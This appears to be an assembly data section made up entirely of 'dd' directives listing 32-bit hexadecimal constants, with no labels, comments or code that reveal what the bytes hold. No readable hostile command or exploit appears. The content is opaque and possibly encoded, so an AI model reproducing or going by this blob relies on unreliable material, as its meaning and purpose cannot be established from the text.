dd 0AA548536h, 0CAF013F8h, 2E00C5E0h, 9F467E16h, 491E2593h
dd 0D5025C07h, 850DE472h, 0C5FDC460h, 0AC27FC02h, 7AB14170h
dd 1E5F00h, 0F1B428CCh, 6F008A20h, 0D9F8AEF3h, 433540h
dd 33ACCB05h, 1C78A4F5h, 3800F24Eh, 0C2D7275Eh, 825A0029h
dd 0E530148Eh, 7E00CF0Eh, 94FB2D5Dh, 6CA3B1h, 0D5192026h
dd 0A9E1C9C1h, 9318F938h, 0C8373E9h, 0E0ABD298h, 7D091BBEh
dd 414B86Dh, 0CF76EB2Bh, 6BAC0070h, 0E23C2B2h, 945015DFh
dd 2E18F40h, 710EFFBDh, 0E0F22F72h, 0F31187D4h, 9CB8050Fh
dd 802BA382h, 0A6DE2522h, 50B45D00h, 4149937Fh, 0EC14B83Dh
dd 0FEDF03Ch, 0A4F11CB2h, 0B62C4152h, 50F7EA3Eh, 2D2CA3D4h
dd 4A733C1Dh, 0F0943300h, 1657801h, 0A10F39Fh, 682B6906h
dd 3D7D1C00h, 477CBC40h, 1E794DF5h, 3B9B39A8h, 0CE852A5h
dd 9E123621h, 0C41335Ah, 0BE4C758Ch, 73696FDCh, 767D09A3h
dd 0D8E4032Ah, 0D8608E28h, 8B983Ch, 2A321936h, 0AAE142h
dd 3BBEB597h, 0AF685501h, 0ECD3D00h, 354C9DBFh, 3E2F01F1h
dd 44A1FA36h, 0AE9C6093h, 2765A402h, 0E39B5943h, 0C208B847h
dd 253B00A6h, 288B30Ah, 11012868h, 0BF7CA7CFh, 22C05554h
dd 0D66F0174h, 5C1C0F2Bh, 0F3D5F43Bh, 49892104h, 0C89E8Bh
dd 449724B0h, 518BEC0h, 457DE0BFh, 0A0F40E37h, 5CD15484h
dd 8BD46483h, 9B73136Ch, 2BC30E4Ah, 0D8209E29h, 0BC2AB834h
dd 849D2505h, 50805422h, 0C7CDB9h, 0B2D140B5h, 0D828B064h
dd 2DA5CC16h, 1761A832h, 0FFDA9500h, 0EA346B6Ah, 0C8FE00F6h
dd 9D6C668Dh, 58B0A30Dh, 3801307Dh, 9807CD58h, 0FCE0AFA6h
dd 0F3410043h, 30C9A51Eh, 20076438h, 398D49Dh, 90989665h
dd 616C0F23h, 1021D0B8h, 2177569h, 1630869Ah, 80D49976h
dd 7B4D74B6h, 772AD05Bh, 0AF12A824h, 8504FFF6h, 0E8C24A4Ch
dd 0A218C0E9h, 0C1BA2655h, 0D89461DCh, 3CB06643h, 821AC0Ch
dd 35801D80h, 24B339Ch, 9F3701F4h, 4C4804DEh, 0D900F9D8h
dd 0C7990F93h, 0AD33EBh, 6011D70Ch, 0CE256854h, 0AEB7160Ch
dd 590993Bh, 8A61914h, 5FB041D6h, 2085AC29h, 24162EB7h
dd 70547DA8h, 0C6A400EDh, 301E8126h, 1A0B33Bh, 0C4F47063h
dd 8F684C37h, 494ED323h, 5D337090h, 0FA9A5A26h, 0B0973C16h
dd 2890C884h, 900FCDD3h, 42860C65h, 9D10BB3Fh, 0BCD08200h
dd 0D1B8AC6Dh, 9FE35CF8h, 8D09EC0Eh, 82DEB920h, 0AD061C6Bh
dd 667FE033h, 0F2990211h, 0A92A8FF7h, 45985040h, 9EA78E00h
dd 50E86B60h, 3ED7091Ch, 0C8C0F491h, 9D54CF34h, 2F73E4F4h
dd 24DCB900h, 2D177FEFh, 1F835AB3h, 7D8442B8h, 80E0C268h
dd 5A542FE5h, 10982288h, 692A1000h, 4BF3FD0Dh, 8F5F006Fh
dd 52FB4E7h, 9100D4A9h, 2D1FCFBh, 0DDDA62h, 37B12084h
dd 0C18F72B6h, 2A5C8900h, 9CAE50Ch, 0D4E600D2h, 50A0D90Dh
dd 5600409Ch, 0BA465D15h, 62724Ah, 8413E52Ch, 0DCD7793Eh
dd 41F46435h, 917400AAh, 31C3AB50h, 0E60010E4h, 5A375B87h
dd 7F092A39h, 5E38FC18h, 0C5F4233Eh, 0E655EA80h, 0F458921Eh
dd 169300A4h, 1F2907AEh, 2077F23Ah, 51D73040h, 0E2F9CFA0h
dd 98604101h, 53E76ACCh, 0C207DFDh, 6890A0C5h, 0D3E10BF1h
dd 90C237DCh, 2180945Eh, 0A4EE2433h, 959301A1h, 98D104A2h
dd 1D01DC72h, 8B1FE602h, 40ADF46Eh, 3DFA83B4h, 0D801BCC5h
dd 0D5D7E50Fh, 20303EB0h, 9F2E6258h, 19021C50h, 4D565093h
dd 8768481Bh, 6785384Ah, 8094ED24h, 342F5D63h, 0AE05653Bh
dd 0C012CB28h, 440EE092h, 443C5858h, 1573B5C0h, 13F84043h
dd 0B5360B2Ch, 9860671Bh, 246656Ah, 0BA15F133h, 145E2EBCh
dd 0E6489739h, 0D070BC80h, 0E73B00A2h, 60B02B3Ah, 0F600E886h
dd 637781ECh, 3D58D31Bh, 981C88A4h, 38C98ED6h, 688BC400h
dd 4EE69B72h, 0B4124700h, 6EE71D18h, 7F4D0463h, 0C0A9966Ch
dd 9DE835FCh, 0F205CC92h, 0FA1B1982h, 0C9BD94A1h, 0BB8D1D84h
dd 0D804A12Fh, 0D6008E4Bh, 42B406B5h, 3F74EF81h, 6CDCC8B6h
dd 13565500h, 94E90C8Bh, 1D6B533Dh, 1740837Ah, 0DB0DED73h
dd 0AB510034h, 5007CC7Eh, 2500BA62h, 791B8948h, 5D71FEh
dd 0F867126Fh, 0DD639EB5h, 0CE00709Ah, 4D498B1h, 0C2917CD9h
dd 0E9FD5DB9h, 665ED4A2h, 0A95620E0h, 0D42C744Ah, 97C8263Ch
dd 0DC0880B4h, 66B78EA8h, 7B0F8700h, 19953814h, 847500B2h
dd 0CC40F1F7h, 2E09444Fh, 0E1644BE0h, 4077F0D4h, 4973A458h
dd 560F2010h, 3BC06775h, 0F9747B4Ah, 9D830600h, 924B953h
dd 0E08C4D73h, 0B61E084h, 13001C93h, 0C30D6Dh, 0EC9171DCh
dd 1900EF14h, 0E90F89CCh, 186364D9h, 3127F2A6h, 2FE8F86Ch
dd 37B0B304h, 90B48C5Dh, 15010D04h, 0C068E816h, 3001AB9Ah
dd 0DFC25DC3h, 0D437B2BFh, 90C39025h, 75527FB0h, 1F056CB2h
dd 0E845B291h, 591A9488h, 0A92C8C74h, 0E52B0B3Ch, 4E038C34h
dd 0C315D114h, 3D6903D2h, 90BCE593h, 0F01C88F8h, 10F4DB2Dh
dd 0E20C9D88h, 4BC49AF7h, 28A42DDEh, 545AD3C4h, 3ABF8040h
dd 7DD628D4h, 3CDA5838h, 53F2BE01h, 0D4B8499Bh, 0A7EE95FCh
dd 0F95EC012h, 7ED3B890h, 0A1DC93h, 8F8C9ECEh, 6300FEB3h
dd 1D782338h, 55C01Ah, 0DAEC284Ah, 0A9A784BBh, 0F238D000h
dd 0A881BDDCh, 510209ACh, 44804F1Fh, 99894683h, 4F6171Dh
dd 8E32C340h, 30434531h, 0FA1088ACh, 0E93C675Eh, 0CD8200B8h
dd 2EB686DFh, 0C7550053h, 31D8FB69h, 0ECB6F4D5h, 0B42AC084h
dd 2C648090h, 0AD14AAAh, 8EC07CE0h, 0A640D42Eh, 1612EFF6h
dd 0E6908515h, 643101A8h, 5AABED51h, 2B56824h, 2445835h
dd 8AC3A9CCh, 6C90F298h, 0E81203FCh, 89004AFAh, 0C03C226Eh
dd 0C5120974h, 6480CE46h, 0A02086CFh, 0D8A7EB00h, 295BDE10h
dd 5187000Fh, 0C7F9DC74h, 8D3F666Ah, 424F015Eh, 0D432C634h
dd 0E1079DAh, 9BE0CBF3h, 9CF0E2Ch, 7D231300h, 0F605E20h
dd 0B2FF008Bh, 0E758EBFh, 1300D4E7h, 80A0FBE9h, 162D95h
dd 0ADC27CBh, 0EB6B791Eh, 75C76D00h, 9B48C420h, 0AFA40065h
dd 0D00CA594h, 5C007AC5h, 0CBDA0A46h, 58270Dh, 2C77858Fh
dd 9A0231D5h, 3FA84905h, 5C803A22h, 2030C346h, 8400D2AFh
dd 0F92F254Ch, 0A2B493h, 1007316Bh, 80767D1Ah, 0E880894Fh
dd 9836B9h, 278EF4EDh, 0C422889Dh, 0B0024BEAh, 0BFDC4251h
dd 11DC5616h, 4C790BDDh, 645C388Ah, 0C5CB00BBh, 384245CEh
dd 90F8FEEFh, 435548h, 0DD32167h, 9FDF8A0h, 0DFB19E36h
dd 809830A4h, 0AC3F2770h, 23001892h, 911E6E9Dh, 1BD6C0Eh
dd 6393882Eh, 402D14E1h, 8A8316CCh, 4E8B6EC0h, 12CA39Ah
dd 0FECDE3F2h, 0FC0D53ECh, 0DA24D525h, 0E69648D1h, 16438820h
dd 583E0011h, 0B9BBEB52h, 7248775Bh, 95BE0014h, 249E80AEh
dd 48945CB3h, 771D5A48h, 81A4C0CBh, 0C239C46Ah, 38F7C3Ah
dd 74AFF24Eh, 0D4E3805Eh, 22680037h, 0DC49A06Fh, 1D00FDE2h
dd 6A7324E9h, 2BDC82Ah, 1A7E3F68h, 0F083B0F0h, 0F5E03164h
dd 4D3D96ADh, 808A39A4h, 7C58F0FAh, 2A6DB6h, 28863DC3h
dd 0A60623B8h, 518A9600h, 0A1A55EBCh, 0E00E02FFh, 7D944414h
dd 8D13CCE0h, 7EF84E00h, 565CBD58h, 96FF3095h, 87CA9179h
dd 7B046340h, 0E40600E7h, 138C69FFh, 6A0075C0h, 64F0E103h
dd 28317FDh, 73062B28h, 0C3E0FF31h, 427199EDh, 0FE20AF13h
dd 9EF84CA5h, 0EB160128h
dd 0C5513759h, 0F0475Fh, 7912F6A0h, 438B6600h, 0B218FD08h
dd 0A950009Ah, 36DC2B61h, 0F044CD3h, 6005CF17h, 1DB0CA0h
dd 6967C8F8h, 0DCD8326Ah, 53020428h, 1C6B8D48h, 0E5AB60C7h
dd 89751324h, 0E6DC8012h, 98125541h, 0D482A1CFh, 7750C0E8h
dd 5D86006Bh, 53EA2515h, 2129154h, 1001D027h, 0C7CDB55Ch
dd 3C3BDCh, 0AE99043Ah, 1F2571A8h, 78221800h, 0CEA1878Dh
dd 9CD50010h, 0F1059F66h, 6F001B7Ah, 2AAA0872h, 9FE9704h
dd 0DB87B8B9h, 0E160980Eh, 0F65163B4h, 9720820Eh, 2765208Ch
dd 4C12BC19h, 100D8E4h, 0C104C789h, 291D46FFh, 0AC8F8035h
dd 23E8B72h, 6957CB66h, 403FF4A4h, 0F00B6720h, 9A708311h
dd 0E900A276h, 58863591h, 4CBEB8C0h, 884C8B87h, 0A4B29507h
dd 1520606Dh, 5413E2E3h, 0F000ED3Dh, 6260A5D9h, 3AEC0033h
dd 3ECCCBA6h, 0BB005E7Dh, 736E17BAh, 1C784703h, 962EEA4Ch
dd 0F444409Fh, 83500880h, 0D1C86761h, 0A760B799h, 5F77180Fh
dd 0CD16C8B3h, 629F22h, 558DD003h, 0EA215990h, 94400B4Ah
dd 3D84FEF7h, 15CD00A4h, 137D52DAh, 0EC052235h, 9F96A0A3h
dd 86006CADh, 367E797Bh, 0EA6129D8h, 0B43A2DC8h, 0E540006Bh
dd 0F86E8720h, 0A85F8D07h, 0C021CD1Dh, 65FCDF6Dh, 443003CAh
dd 0AE2E1480h, 0D0C244AFh, 0A28E0640h, 609BFA27h, 1D7E15BCh
dd 0CBE3823Fh, 87774E6Eh, 7490C5CCh, 3F30C98Ch, 6680DF77h
dd 0F9EB386Fh, 0ED03B701h, 44956D1Ch, 2D35B8A7h, 6ABA06F8h
dd 28C23A20h, 976F1600h, 0EFEE7FCh, 883600B3h, 0DED57858h
dd 4D00DFE1h, 38D1954Ah, 7D33C73h, 5F727B1Ch, 7DF6708Dh
dd 85004CB8h, 7620CF2Bh, 0E74950FEh, 0B900AC28h, 96A7A2BCh
dd 0C9003432h, 8223801Bh, 0BD22B78h, 499ECF83h, 0E404C400h
dd 800E1D08h, 41659D3Ch, 3B6CF6D0h, 2AA72180h, 0C61E85A5h
dd 0E1E51C1Ch, 558872C9h, 2080BC8Fh, 0DF2EB92Fh, 2448E58h
dd 6B13A265h, 77007CCFh, 0DFF0D990h, 0A30070B7h, 35321297h
dd 0F24078h, 1627299Fh, 0A5857492h, 0FCE5FE00h, 4638B5C8h
dd 6CBC139Dh, 0AB9C0098h, 6E7DDA25h, 1C166AF0h, 288008B5h
dd 13EE386Bh, 991461Eh, 9000BA85h, 965AA433h, 0DCC8D304h
dd 38A0722Eh, 2A991D0Ah, 0A4390029h, 75B5F588h, 89F64E02h
dd 0F2B31D2Dh, 0B0C00130h, 334A529Ah, 8E73F8BFh, 6100FCB2h
dd 5F1A5513h, 2CA43C0Ch, 8B98A55Bh, 0B0707C16h, 0A9901403h
dd 889EEDB1h, 73307B0Ch, 7E230529h, 236A1CEh, 0CFC905E0h
dd 547F2FC0h, 24D00E00h, 894186C1h, 91C20018h, 0F1CC9A94h
dd 0BE03F51Bh, 57667053h, 0F4C4BAE0h, 1423EBCh, 4F63A480h
dd 0A0D45A52h, 327703E4h, 5C2242BCh, 0BB487000h, 0CDDF6DAh
dd 20A23E5Dh, 0DE41B307h, 0FFA55005h, 0E90EA189h, 80268217h
dd 0AC9EFE95h, 0D5D007C4h, 80611043h, 894063Eh, 7800F498h
dd 412477Ch, 0AC9DCD9h, 0E2CDB824h, 0D2420094h, 0C14FC233h
dd 51329B00h, 2AD739D1h, 305A01FDh, 16BD4DADh, 14003BE4h
dd 0C9CC753Eh, 0BF810163h, 0EF29528Ch, 0A7DC4115h, 706C1Ch
dd 0D016CCA5h, 1D415B17h, 0C7AB3361h, 7739E0F1h, 8FC9E065h
dd 37046E68h, 0ABE2F4DFh, 1C36C88h, 0B212C5CFh, 30F6CD24h
dd 0B0E8094Ch, 205A7B00h, 68851EE3h, 250BE2E4h, 0F012EEC4h
dd 4704F476h, 0C94E011h, 7D1DCA80h, 0E4807441h, 76530790h
dd 0D4AAA768h, 0E45480E0h, 4C002AC7h, 0DDBA6065h, 1CBF0710h
dd 0C07D73F5h, 0D2E6C1FDh, 0F42E6ADAh, 0E3088CB4h, 0ABFA8045h
dd 0FB82E56h, 50E49D30h, 0E02D6D73h, 0B1610B63h, 0D081773Fh
dd 60E8EAE7h, 660078AEh, 1D0DF4A0h, 646FABh, 0F3FE387Ah
dd 8E5B3BB6h, 306A6003h, 0FA581306h, 750C413Eh, 0F63DC020h
dd 18D7F8FEh, 0F0C52F5Fh, 9800CEA5h, 8E806E4Bh, 9D0B633h
dd 0BF3A4222h, 1791CC00h, 900EEB0h, 8E69E7A7h, 5EFF294h
dd 0E8DE402h, 9F708081h, 2F009EB4h, 82F50A1Bh, 7738C4h
dd 19BA18A8h, 7B1AD361h, 9005BB8h, 8F022C9Fh, 3BB760A7h
dd 0C8DBC9CFh, 0E0085B4h, 0D3BF8096h, 92FEEC9Fh, 0B0977610h
dd 753404B0h, 0A4C0067Ch, 0DB774394h, 2977E176h, 1800C6FEh
dd 477E787Fh, 7F2050Fh, 647255BBh, 0D5DF602Eh, 1451A222h
dd 191040D0h, 0F6A1A0E6h, 9B478EDh, 7852B1EBh, 16277954h
dd 607C23CBh, 1188F46Ch, 610CD607h, 0EB20427Dh, 0F2AFB3F0h
dd 9F220007h, 0BD6B990Dh, 15000B2Eh, 0D0A93DC4h, 0AA53816h
dd 0CFEEFE59h, 0D23500F8h, 0F9DE3AFCh, 233EC90Ch, 4B61F062h
dd 2DA409C2h, 72E9B4E0h, 834B703Ah, 1052D4E5h, 0F2600E84h
dd 0C14E5ED0h, 5532C6C0h, 45206007h, 0CA4203E7h, 0FE9019CDh
dd 8CCC2100h, 33A994Bh, 88281C29h, 0DDBF07DCh, 217F21D5h
dd 9A5420A5h, 1E74148h, 0FAF6BBC4h, 0A2E41A69h, 22700E3Dh
dd 68C0E994h, 90131112h, 0B9C220E2h, 709CCF37h, 30E30034h
dd 1953872Eh, 400382F8h, 0E4B5607Bh, 72A362h, 0F065E2C0h
dd 0F2C007C8h, 1928C893h, 24FA4A4Ch, 0E50FC896h, 215D62A5h
dd 0AB40607Dh, 0A8E20080h, 0A43BDBF0h, 0D49AB8A9h, 0D488A04Ah
dd 0A21000DFh, 1FA19E83h, 7E60258Eh, 6AA06F78h, 9410B5B2h
dd 0D8BE155Ah, 0C7101440h, 0E021D2Eh, 0EF4EED9h, 54E5B81Ah
dd 598500D0h, 6F4CD4A1h, 9799ED00h, 78A8EE74h, 3AEA7143h
dd 0CC81CDC0h, 9A372FCAh, 0E31AD435h, 0AF6CB302h, 7EE91EBDh
dd 89200C4h, 19914542h, 9DFC2F07h, 0CC60B67Bh, 77A208Bh
dd 0F9EF2BB0h, 6D1711BAh, 51922078h, 5DE2FE0Eh, 3D8BE083h
dd 4C30BF1Bh, 0BC07DF73h, 2F76B134h, 0ECC02C49h, 0CE00EA17h
dd 71B6EDE1h, 3F285C7Fh, 95030ADEh, 2399C38h, 74A92DC8h
dd 12D1930Eh, 7F5F40D0h, 90EA7E47h, 7854008Bh, 21C32555h
dd 0E828CC0Ch, 440EB859h, 82C6FB6Dh, 0EB3696C0h, 0B84EE040h
dd 0D7F7031Bh, 0B7ED637Dh, 0CAA62FA0h, 0BF1F20DEh, 53C46600h
dd 0E04514h, 0BBD6DAC8h, 350FBA8Ch, 9660A400h, 190E1264h
dd 9C440076h, 5DA7F35Eh, 0EF0A978Eh, 38981BE2h, 0B539F503h
dd 8EF0006Eh, 55D8EF7Fh, 0A0C19A6Ch, 1B9D4CB9h, 0C08C5424h
dd 548E1220h, 0CA0A24Dh, 28A03496h, 0FB075552h, 2766A4BFh
dd 0D5C89BE0h, 0C1E79AFh, 35691BDFh, 9E00CE98h, 471753C0h
dd 1758841h, 72D4B451h, 0F0CF9181h, 0E50124F4h, 0B1B8A77Eh
dd 9CF05E82h, 3AD5C65h, 2CB2900h, 795A85AEh, 0DE7D7E00h
dd 0B54EA432h, 1DCA0093h, 52A6B6D2h, 74012E99h, 0B32C875Bh
dd 0BFD4B772h, 57E3Dh, 0C2982A1h, 8C36DEE2h, 0E4A49517h
dd 66148C40h, 0F81101C2h, 45EF00BFh, 16D6F539h, 50776F5Dh
dd 885829C0h, 9864D7B2h, 6C4C0195h, 0DECAB967h, 0BA9C4868h
dd 63651301h, 44DCB798h, 2DCED0h, 0DD017FFBh, 3446943Ch
dd 17732301h, 1F72F77Eh, 4F5F0880h, 46B4C09Ah, 8030056Eh
dd 0EFC81450h, 1C944881h, 0F815DB00h, 9A0F2D8Bh, 0AF2ECE00h
dd 0C5BD0DB2h, 0B710C099h, 10C27CBEh, 58CF2700h, 6451778Ch
dd 890C05Bh, 0CF4BA61h, 0CB6BD500h, 9C4CD774h, 5EC002A8h
dd 69AF9B47h, 7A38848h, 8DCD3400h, 88833ABDh, 0E7E10179h
dd 9958F616h, 0D6298077h, 0F50F5E53h, 0C0F1518Eh, 1AFE2F0h
dd 0F4D9AA2Dh, 414C1019h, 5057A4A0h, 5D9597A4h, 99886601h
dd 0C46BFC72h, 51930E4h, 0B9DF5EE4h, 0CA84024h, 0E16ED380h
dd 0FE86EE00h, 1442947Bh
dd 83E30784h, 0B0E78562h, 0CABF5EA5h, 8154D748h, 9DD2566h
dd 19D1B821h, 4C6EF4h, 0D2C6DFB8h, 0E8E17F6Fh, 0F51AFF00h
dd 9BF6AA2h, 0FBB3025h, 54DE9941h, 8D8ADF00h, 0D6685B86h
dd 4B920B4Ch, 3A004A14h, 945DA6F2h, 58CC4904h, 0C8A8139Ah
dd 0C045C21Ch, 0B3C9E761h, 41033EA7h, 5766520h, 0CBE90C5h
dd 6CDC00E1h, 1526D9F6h, 0A626533Ch, 3030613Eh, 12CBF5D2h
dd 0E285855h, 5D00CC62h, 7FD45690h, 0D5446C00h, 70BB0141h
dd 0C4B93093h, 9139BE69h, 11D0E530h, 0E7197Ah, 99F9C2CDh
dd 3C064D3Fh, 34CB390Bh, 0D5B4806Fh, 0B3BDEDh, 7512F3EAh
dd 22062521h, 453C2900h, 8D7335Bh, 0C3909Ah, 255453D5h
dd 131E9DDCh, 5EEC5518h, 16D2B8h, 0FD7C7E15h, 0B2E7D11Ah
dd 36E6A509h, 8FFC83ACh, 492CE861h, 0C4790033h, 0BDA5856Ah
dd 8D1F27E9h, 0D10C8326h, 2A3F19C0h, 3084BC51h, 0B3088EDCh
dd 0C590213Ch, 0E4847C03h, 0E07FD771h, 0DF3F3330h, 8439920h
dd 0C52CE0A7h, 93206400h, 0B0785E0Fh, 0BC8A0092h, 41867163h
dd 57843DCh, 0B06D1138h, 0E9233938h, 0F330FB2Eh, 0DD6C0044h
dd 0CEC8A1F9h, 0E5EC2B77h, 7CC59000h, 610754CFh, 22BD3AD1h
dd 29AAA900h, 5B82F22Ch, 86834B03h, 0F8F12B02h, 0C0F52A5Eh
dd 10B43508h, 0C60EA8BEh, 80A07EF6h, 500A5A03h, 4B841FF9h
dd 0A1820F65h, 5180428Bh, 442FF7D2h, 9541510Eh, 30058750h
dd 87F56280h, 0FAA5000Bh, 2CFB93BEh, 0D8009BB7h, 4F754B07h
dd 346BD4Dh, 303210C6h, 76C1F6D2h, 0A22EDC5Fh, 1D3A6278h
dd 9C3060A1h, 0F0845061h, 72BDE8D7h, 5C03003Fh, 60FB149Dh
dd 64A4137Bh, 0F05D048Fh, 1361841Fh, 72B75C10h, 28F2F0h
dd 324EA43Dh, 22BB2465h, 8FF95472h, 0E0E01539h, 0C1F65C2Dh
dd 0E674330Fh, 21000908h, 4FA4D89Fh, 370883h, 7E9CA6BDh
dd 213AE87Dh, 31F0EE06h, 78161DFh, 0B983805Fh, 6A5A026h
dd 2501FD60h, 0A6E62A64h, 288C2BB0h, 0E0312403h, 5CF90700h
dd 8A77842h, 0E3B0C053h, 6445D76Ch, 0BFA42406h, 71807AEh
dd 0ACDFCBD1h, 581806DEh, 0A9E61F30h, 1CB712DBh, 3ABE9Ah
dd 7AA7E7F9h, 7001E6B5h, 46B158E2h, 45DC0161h, 298A05Dh
dd 32BA03C1h, 86A4E912h, 0F42463C8h, 33D551C0h, 0C204200Eh
dd 285C0168h, 0EEADF500h, 18F66068h, 0BC8BD547h, 9B0D9C3h
dd 48D7C915h, 0AAC9AFCh, 638BF89Eh, 0C6AD80D0h, 978C445h
dd 894E3C30h, 0F09B5E0Ch, 4261C024h, 0ABC7E566h, 0A3B05950h
dd 801DB4A9h, 0E54EE721h, 761E89h, 0DF464B18h, 9A975B86h
dd 54F1F228h, 10062215h, 0A93DB4h, 0DF2531B6h, 6749E2Dh
dd 58EE80CEh, 811FC806h, 2070C76Fh, 4A9BE0Ch, 0A40E80D5h
dd 16A501DCh, 22005E9Eh, 24900332h, 0BD4D109h, 722C0020h
dd 0A05DDEBFh, 3C9FABD4h, 8C540AF7h, 0D6111E58h, 20021B96h
dd 8AC42AC0h, 0BEA96460h, 3EA3238h, 269167E2h, 8304F2Bh
dd 976B4192h, 0B3230A31h, 37073FDh, 0F3A0264Bh, 0DCD2A029h
dd 4C4F9832h, 0A4DF0270h, 0C20E5C2Ch, 0B010EB19h, 0B600A4D7h
dd 5ABFFB4Bh, 70C066F8h, 0D521C77Eh, 61FE267Bh, 843D9000h
dd 3BBB1BB5h, 1DB7277h, 5A47707Dh, 9163C1D6h, 0DD805580h
dd 0DE5C2EA4h, 0EE22C143h, 0A4D5B200h, 0B9F5EF26h, 19DF6028h
dd 0F8731B42h, 0E2C21D12h, 0B414500Ah, 0EA717021h, 201CD18h
dd 7E3DFD5Bh, 3450F169h, 119D107h, 0AA3B0EC5h, 2047036Ch
dd 3D4817BCh, 8C1EFC50h, 9092D100h, 7E266829h, 8BAC1553h
dd 0ED03E8A8h, 3685B3EBh, 32244FC8h, 6890EF32h, 0E5703099h
dd 49ABB511h, 0E9801888h, 9AEE558h, 98451DDEh, 3C809ABh
dd 352080Eh, 0E5F7C1F8h, 0C3C088E4h, 2CDB6C26h, 0D602C587h
dd 86902029h, 78AFB9BEh, 0DA7CF0h, 9881D784h, 4E2797EBh
dd 2AD2F00h, 5821C008h, 0B0D81D5Eh, 0D44B809Ch, 910FE303h
dd 3D40C0C4h, 0AAE56730h, 1151AB23h, 4FE40016h, 1DAD07E5h
dd 22BA1592h, 0DB80EC5Bh, 0EE5C38A4h, 0B4C0C142h, 633EA4D3h
dd 0DC0757FEh, 0F43B2E13h, 62F58028h, 0A4347CA5h, 2003B5E8h
dd 23C28FD0h, 57B290ECh, 0CCE41347h, 0E67C5C97h, 0F4E108E4h
dd 8BC50F02h, 54D8A0B7h, 0C6B20Eh, 0DDCAA12Ah, 265BAD4Ah
dd 2808C204h, 0CC760CEh, 0A118E0ACh, 0E4589584h, 0A9E5096Ch
dd 181C69ABh, 84A054FCh, 7E00F127h, 0CCAEC0D8h, 0C0915A48h
dd 0D6101181h, 5001CBDCh, 8815F6A4h, 2AFCE455h, 0C9D10097h
dd 4D54C058h, 44495B01h, 5012055Ch, 8840041Fh, 0F7537AB1h
dd 410F1D9Fh, 0ECB380CBh, 0CE1455B8h, 31B0BF02h, 905F017Bh
dd 0F65DCA0h, 246F07Fh, 77144092h, 5A3DEFF4h, 0EA6C0A0Eh
dd 134A924h, 5038E5CCh, 0E4AF7A30h, 28950EBDh, 0DF297F64h
dd 8160668Eh, 0FA2008CDh, 2510A760h, 9FCEE22h, 0FEE0364Bh
dd 0B47D5C01h, 354201Ah, 0B5581364h, 1D882C8Eh, 3E3A18C0h
dd 0FC040009h, 22E88237h, 0FB612807h, 0CB6F7F68h, 0D80EF835h
dd 0B6CC1C88h, 197B02FEh, 528CD44h, 0D11C9CA0h, 0B70033A8h
dd 89212B08h, 69EDAA2h, 9D04EEC2h, 974670ACh, 38D35224h
dd 113879A9h, 5AE3011Bh, 0B908D8E5h, 70597DC4h, 6E00F902h
dd 26033ACDh, 6221E2ACh, 88CCB8EBh, 0E67A09B4h, 0BB6C0Bh
dd 4D4BE1h, 0E46325Ah, 0A9687212h, 16D5F427h, 0A025926h
dd 7F6C65AAh, 0A71CE0C8h, 2708D3AFh, 27C2E704h, 0E2A377D4h
dd 6CC125E2h, 12488814h, 65AD62D6h, 48B02441h, 6A88F224h
dd 239FEC5h, 8559D2ABh, 0A4A0F828h, 0E4F2AD4Eh, 0CA4D7700h
dd 0C6C4FB9h, 0FFC27932h, 924690ECh, 0C0521C74h, 122310AAh
dd 2E1A30E9h, 73408281h, 0B9D2008Ah, 61C2DC83h, 0A15FAEE6h
dd 0C5477E8Ch, 0E84A9820h, 60C000D4h, 404DDAABh, 673D33E6h
dd 2890C832h, 0AF00501Fh, 97ABCA53h, 0F284F5E6h, 185012D2h
dd 0DA9C05A9h, 0C8848BBAh, 28CFC009h, 0FC015CC7h, 0E1A7E4D1h
dd 4242B3Bh, 4C4200ECh, 0E22D513Dh, 15285983h, 9550AC7Eh
dd 0E0ACD3BCh, 5265AC04h, 6738B87Fh, 3165C40Ah, 53408828h
dd 3DB283F8h, 0D500F1F7h, 0BEDE014Bh, 4A047A59h, 8FA2E5DAh
dd 0C6FC60A4h, 24BA8B49h, 927AAF00h, 1FB81969h, 0C4E73F86h
dd 0E431B930h, 0BA1CDCCEh, 0ACC068A4h, 8143C973h, 128300Dh
dd 6FF42981h, 94837A0Fh, 0B093609Ah, 74784E6h, 92A275ABh
dd 77EDB0BEh, 512EFBA7h, 0AE91A4DFh, 0E024328Eh, 8B1085E2h
dd 996905A4h, 28C73C31h, 0D6091FA4h, 9C88FFD8h, 0B57DAF87h
dd 56004873h, 0FFEEC4F1h, 96BAD525h, 0EF465C1Ch, 9049D107h
dd 8387117Dh, 34420C1h, 0B7247098h, 0F219C472h, 6091EF40h
dd 0A4E18059h, 87FE5C32h, 0A4D99E00h, 0CA54FDCh, 5073D37Ah
dd 0BF127850h, 0C80260EAh, 645C017Eh, 4B020334h, 0C3B21F7Fh
dd 10178903h, 2EC4EA20h, 1834A310h, 31056190h, 0F4C1292Ah
dd 1F877F18h, 97ED2C1h, 0B55A2A7Dh, 0D954FC48h, 426F9D00h
dd 9A4AF815h, 98A732E5h, 20C40321h, 0ECED0900h, 9BC1343Bh
dd 67F0082h, 84A21AD9h, 0D07E7E2h, 0A4ABD123h, 0D00C2EE5h
dd 5C63F85Ah, 0E81070D5h, 5E010CEAh, 0C077D933h, 3D02D470h
dd 0E0FF5A19h, 0AD1FBE95h, 0AB052DD3h, 30CEEE61h, 0F5C10188h
dd 56E59FF3h, 7C08CC2Ch, 7812412Fh, 0DB34430h, 540B5945h
dd 0D500B5B8h, 5A4158Ch, 395AA541h, 70E40A9Fh, 0F74C8903h
dd 3D521180h, 3C7CAA0Eh
dd 0B6BC098h, 2C4F7788h, 43A82562h, 4099AB90h, 670101EBh
dd 107C182Dh, 518D836h, 0C7A2CCDDh, 9C02D012h, 50687301h
dd 0D1509950h, 287A181Eh, 28BB363h, 9FDF41DDh, 0C4643831h
dd 72205F12h, 9DC1A0C4h, 8882A348h, 8DE22783h, 0F0022C42h
dd 0E3051304h, 110CD86Fh, 5B99293Ch, 39B9C80Fh, 0DF4E274h
dd 917045B2h, 26A83A3Bh, 0C8C0A0D7h, 467F6665h, 215930D8h
dd 165C06Bh, 1B1ED785h, 60C49BC6h, 0DD62A51Ch, 0CBA6E661h
dd 60C1C050h, 52D80BD5h, 2400C29Ah, 6803AD38h, 267AF090h
dd 0A040A956h, 768908C2h, 0D5DAE483h, 383C9479h, 0E048BA40h
dd 1384488Ch, 3C8B574Ah, 0DAC0AA88h, 0BDA6C3h, 3073F05Eh
dd 53D4E307h, 31842496h, 385403E2h, 0F0C63849h, 0C0467846h
dd 0DE322C02h, 0AD3147E2h, 319B1F10h, 0FD8E0700h, 168F2D57h
dd 26AB09B7h, 1C219120h, 0DA90706Fh, 5C40E07h, 0C40B1109h
dd 1691E817h, 847B5D84h, 4A9C4140h, 3C7ABF5Ah, 97848BCh
